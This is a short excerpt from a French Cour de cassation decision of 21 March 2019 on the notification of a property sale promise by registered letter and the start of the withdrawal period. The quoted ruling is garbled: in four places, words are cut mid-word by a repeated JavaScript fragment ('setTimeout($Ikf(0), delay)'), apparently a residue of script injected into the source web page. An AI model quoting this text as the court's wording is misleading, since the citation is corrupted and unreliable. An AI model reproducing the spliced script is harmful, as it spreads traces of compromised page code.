Cass., Civ., 3ème, 21 mars 2019 (n°18-10772)
La Cour de cassation a jugé « que la notification de la promesse de vente par lettre recommandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andée avec demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande d’avis de réception, prévue par l’article L. 271-1 du code de la construction et de l’habitation, n’est régulière que si la lettre est remise à son destinataire ou à un représentant muni d’un pouvoir à cet effet ; qu’ayant retenu que, l’avis de réception de la lettre de notification adressée à Mme Y… le 22 décembre 2012 étant revêtu de la signature de M. Y…, sans précision du nom et prénom du signataire, celui-ci n’avait pas signé en qualité de mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andataire de son épouse et qu’il n’était pas certain que la promesse avait été notifiée à Mme Y…, la cour d’appel en a exactement déduit, sans être tenue de procéder à des recherches sur l’existence d’un mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat apparent que ses constatations rendaient inopérantes, que le délai de rétractation n’avait pas couru à l’égard de Mme Y… avant l’exercice, par celle-ci, de ce droit et a légalement justifié sa décision annulant le contrat. »